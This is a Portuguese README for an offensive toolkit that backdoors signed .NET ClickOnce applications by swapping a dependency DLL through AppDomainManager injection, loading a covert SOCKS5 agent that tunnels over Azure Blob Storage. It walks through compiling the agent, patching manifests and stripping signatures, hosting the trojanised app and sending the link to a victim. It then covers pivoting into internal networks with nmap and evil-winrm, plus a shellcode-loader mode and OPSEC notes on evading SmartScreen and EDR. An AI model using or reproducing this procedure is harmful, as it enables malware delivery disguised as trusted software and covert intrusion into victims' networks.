Kit de Injeção ClickOnce AppDomainManager

Arme aplicações .NET ClickOnce assinadas para acesso inicial, sequestrando uma DLL de dependência via injeção de AppDomainManager e carregando uma versão em C# do agente ProxyBlob. Acompanha uma versão em C# do ProxyBlob — um proxy SOCKS5 que tunela todo o tráfego através do Azure Blob Storage, misturando-se em ambientes onde *.blob.core.windows.net está na lista de permissões.

Por Que Isso Funciona

ClickOnce é a tecnologia de implantação com um clique da Microsoft para aplicações .NET. Quando um usuário clica em uma URL .application, o Windows baixa e executa o aplicativo sem exigir privilégios de administrador. O ataque:

1. Pegue uma aplicação ClickOnce legítima e assinada com reputação existente
2. Substitua uma de suas DLLs de dependência pelo agente SOCKS5 ProxyBlob
3. Injete um .exe.config que instrui o CLR a carregar nossa DLL como AppDomainManager
4. Corrija os hashes do manifesto para corresponder aos nossos novos arquivos
5. Hospede — a vítima clica no link, obtém um aplicativo de aparência real, e você recebe um túnel SOCKS5

O .exe hospedeiro permanece intacto e validamente assinado. O SmartScreen vê um binário conhecido. O EDR vê um processo confiável carregando módulos. Seu agente se comunica apenas com o Azure Blob Storage via HTTPS.

Estrutura do Repositório

├── clickonce_backdoor.py              # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│   ├── ProxyBlobAgent.cs              # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # Standalone Proxyblob console agent (for testing)
│   ├── ShellcodeLoader.cs             # Alternative: shellcode loader payload
│   └── MessageBoxPoC.cs               # PoC: message box (validates injection works)
└── README.md

Pré-requisitos

Atacante (Linux/macOS):

• Python 3.10+
• proxy ProxyBlob (binário Go)
• Conta de Armazenamento Azure (ou Azurite para testes locais)

Máquina de compilação (Windows):

• .NET Framework csc.exe — vem em C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (detectado automaticamente)
• NuGet CLI — download, coloque nuget.exe ao lado do script ou adicione ao PATH (necessário apenas para o modo --proxyblob)

O script detecta automaticamente csc.exe e nuget.exe. Para --proxyblob, BouncyCastle e ILMerge são instalados automaticamente via NuGet na primeira execução em um diretório packages/ ao lado do script (persiste entre execuções).

Suporte a Arquitetura

O código do agente é neutro em relação à arquitetura (sem P/Invoke, sem shellcode). A flag --platform (passada para csc.exe /platform:) controla como o CLR o carrega:

Verifique uma aplicação alvo com corflags.exe TargetApp.exe para determinar sua plataforma.

Uso: Passo a Passo Completo

Passo 1 — Configurar o Armazenamento Azure

# Create storage account
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# Get keys
az storage account keys list --account-name yourblobaccount --output table

Ou use Azurite localmente:

docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

Passo 2 — Iniciar o ProxyBlob

git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

No shell do proxy:

proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Salve essa string de conexão — ela vai para o agente.

Passo 3 — Teste Primeiro com o Agente Autônomo

Sempre verifique se o agente funciona de forma independente antes da integração com o ClickOnce.

Na máquina de compilação Windows:

# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# Run
Agent.exe <connection-string>

De volta ao proxy:

proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

Teste:

proxychains curl http://ipconfig.io

Se funcionar, prossiga para a integração com o ClickOnce.

Passo 4 — Encontrar uma Aplicação ClickOnce Alvo

Encontre uma aplicação ClickOnce alvo durante o recon (pesquise por URLs .application). Você precisa:

Baixe toda a implantação do ClickOnce:

# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Passo 5 — Compilar e Corrigir em Um Único Comando

O script compila automaticamente o código-fonte C#, gerencia dependências NuGet (para --proxyblob), mescla ILMerge do BouncyCastle na DLL e corrige todos os manifestos — tudo em uma única execução:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Shellcode mode
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# x64 target app
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

O script lida com: gerar o código-fonte C# com suas configurações embutidas, compilar via csc.exe, mesclar ILMerge do BouncyCastle (para --proxyblob), substituir a DLL, criar .exe.config com injeção AppDomainManager, adicionar ambos os arquivos aos manifestos, recalcular todos os hashes SHA256 e tamanhos de arquivo, remover assinaturas de código, zerar o publicKeyToken do fornecedor e atualizar a URL do provedor de implantação.

Substituição manual: Você ainda pode usar --payload para fornecer uma DLL pré-compilada (pula a compilação):

python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --payload payload.dll \
    --output ./output

⚠️ Pegadinha do Nome do Assembly no ILMerge: ILMerge define o nome interno do assembly a partir do nome do arquivo de saída, não da entrada. Se você mesclar para Foo_merged.dll e depois renomear o arquivo para Foo.dll, o nome interno ainda será Foo_merged — o CLR lê metadados, não o nome do arquivo. O .exe.config não corresponderá, e a injeção AppDomainManager falha silenciosamente sem erro. O script lida com isso corretamente mesclando diretamente para o nome final.

Passo 6 — Hospedar e Entregar

# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Ou use qualquer servidor web com esses tipos MIME configurados:

.application  → application/x-ms-application
.manifest     → application/x-ms-manifest
.deploy       → application/octet-stream

Envie para a vítima: http://YOUR-SERVER/APPLICATION.application

Eles clicam em Instalar → o aplicativo executa → seu túnel SOCKS5 abre.

Passo 7 — Usar o Túnel

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start

# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local

Solução de Problemas

Compilação

Tempo de Execução

Cache do ClickOnce

Limpe entre implantações de teste:

rundll32 dfshim CleanOnlineAppCache

Modo de Diagnóstico

Para depuração, use primeiro ProxyBlobStandalone.cs — ele escreve logs detalhados no stderr mostrando tipos de pacotes, eventos de conexão e erros. Depois de confirmado o funcionamento, mude para ProxyBlobAgent.cs para integração com o ClickOnce.

Como Funciona o Agente em C#

O agente é uma adaptação fiel do agente Go ProxyBlob. Três bugs críticos foram encontrados e corrigidos durante a adaptação:

1. Ordem de Bytes do UUID — O uuid.UUID do Go armazena 16 bytes na ordem RFC 4122 (big-endian). O construtor Guid do .NET troca os primeiros 3 componentes para little-endian, causando incompatibilidades de ConnectionID na rede. Corrigido usando arrays brutos de byte[16].

2. XChaCha20-Poly1305 — O Go usa chacha20poly1305.NewX() = XChaCha20 com nonces de 24 bytes. O ChaCha20Poly1305 do BouncyCastle suporta apenas nonces IETF de 12 bytes. Corrigido implementando derivação de subchave HChaCha20:

subkey     = HChaCha20(key, nonce[0:16])     // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24]      // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)

3. Preenchimento Base64 — O Go usa base64.RawStdEncoding (sem preenchimento =). O .NET requer preenchimento. Corrigido com preenchimento automático antes da decodificação.

Protocolo

Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)

Key Exchange:
  Proxy  → Agent: CmdNew  [nonce:24][pubkey:32]
  Agent  → Proxy: CmdAck  [agentPubkey:32]
  Symmetric key:  HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
  Encryption:     XChaCha20-Poly1305 on all CmdData payloads

Blob Transport:
  info     — username@hostname XOR 0xDEADB10B
  request  — proxy→agent (agent polls, reads, clears)
  response — agent→proxy (agent writes, proxy reads, clears)
  Polling: exponential backoff 50ms → 3s (×1.5)

Notas de OPSEC

• O tráfego vai apenas para *.blob.core.windows.net via HTTPS — mistura-se com tráfego legítimo do Azure
• Sem Azure SDK — API REST HTTP bruta com autenticação por token SAS (binário menor, menos importações para sinalizar)
• DLL única via ILMerge — nenhum arquivo adicional descartado junto com o aplicativo
• O .exe hospedeiro permanece validamente assinado — apenas a DLL de dependência e o .config são modificados
• O agente é executado como uma thread em primeiro plano — sobrevive à saída do aplicativo hospedeiro sem gerar um novo processo
• O processo aparece no Gerenciador de Tarefas como o nome do aplicativo legítimo (ex.: APPLICATION)

Créditos

• Claude.ai
• ProxyBlob — Quarkslab (Alexandre Nesic)
• ClickOnce Research — SpecterOps (Nick Powers & Steven Flores)

Aviso Legal

Esta ferramenta é apenas para testes de segurança autorizados e pesquisa. Use apenas contra sistemas para os quais você tenha permissão explícita por escrito para testar.